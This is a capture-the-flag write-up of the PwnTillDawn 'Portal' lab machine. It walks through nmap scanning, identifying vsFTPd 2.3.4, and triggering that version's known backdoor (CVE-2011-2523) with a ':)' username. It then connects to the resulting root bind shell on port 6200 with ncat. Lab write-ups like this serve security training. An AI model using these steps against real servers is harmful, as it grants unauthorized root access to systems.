2 min read

PwnTillDawn — Portal (10.150.150.12) Writeup

PwnTillDawn — Portal (10.150.150.12) Writeup
📚 Series · PwnTillDawn Machines
  1. Snare (10.150.150.18)
  2. ▸ Portal (10.150.150.12) (this post)
  3. ElMariachi-PC (10.150.150.69)
Platform: PwnTillDawn Online Battlefield by wizlynx group
Difficulty: Easy
OS: Linux (Ubuntu 20.04)

0x00 Recon

Port Scan

Scan all 65535 ports with nmap:

nmap -Pn -p- 10.150.150.12 --min-rate 3000

Only two ports are open:

Port Service Version
21 FTP vsFTPd 2.3.4
22 SSH OpenSSH 8.2p1 Ubuntu

FTP Anonymous Login

FTP allows anonymous login, and the banner message is rather suggestive:

220 Through the portal... - into nothingness or bliss?

Once logged in the directory is completely empty (checked hidden files with ls -la too), and uploads aren't allowed (550 Permission denied), so FTP as a data source is a dead end.

Version Detection

nmap -Pn -p 21,22 -sV -sC 10.150.150.12

The ftp-syst script from -sC reports:

vsFTPd 2.3.4 - secure, fast, stable

Confirms the version as vsFTPd 2.3.4.

0x01 Vulnerability Identification

vsFTPd 2.3.4 Supply-Chain Backdoor (CVE-2011-2523)

In 2011, the vsFTPd 2.3.4 source code was tampered with by an attacker on the official distribution server, planting a piece of malicious code. The trigger mechanism:

  • When the **username used at FTP login contains :) (a smiley face)**, the program forks a child process
  • The child process opens a bind shell on the target machine's TCP port 6200
  • That shell runs as whatever user vsFTPd is running as (usually root)

Use searchsploit to confirm a public exploit exists:

searchsploit vsftpd 2.3.4
vsftpd 2.3.4 - Backdoor Command Execution          | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (MSF)     | unix/remote/17491.rb

0x02 Exploitation

Triggering the Backdoor

Append :) to the username at FTP login to trigger the backdoor:

ftp 10.150.150.12
Name: hacker:)
Password: (anything)

At this point the FTP connection will hang — that's normal, and it means the backdoor is being triggered.

Connecting to the Bind Shell

Open another terminal and connect to port 6200 with netcat:

ncat 10.150.150.12 6200

Once connected, no prompt is shown (no # or $) — this is a blind shell, so just type commands straight away:

id
uid=0(root) gid=0(root) groups=0(root)

Straight to root.

0x03 FLAG

ls
FLAG1.txt
snap

cat FLAG1.txt
Redacted

FLAG1: Redacted

0x04 Attack Chain Summary

FTP recon → identify vsFTPd 2.3.4
    → trigger supply-chain backdoor (username + :))
    → bind shell on port 6200
    → Root!

Vulnerability List

# Vulnerability Severity Description
1 vsFTPd 2.3.4 Backdoor (CVE-2011-2523) Critical Supply-chain attack plants a backdoor that opens a root bind shell when triggered

Lessons Learned

0x05:

The biggest trap on this box wasn't finding the vulnerability — it was recognizing the blind shell. After connecting to port 6200 the screen is completely blank, with no prompt whatsoever, and the gut reaction is to assume "the backdoor got patched" or "the connection failed." I almost gave up on this path and went down the SSH brute-force rabbit hole because of it.

The lesson: when you hit a blind shell, always blindly type id first to confirm. No prompt doesn't mean no shell.

Also, if manual testing looks like it failed, try one of the searchsploit exploit scripts (unix/remote/49757.py) to automate verification — sometimes it's not that the vulnerability isn't there, it's just that your testing method has a blind spot.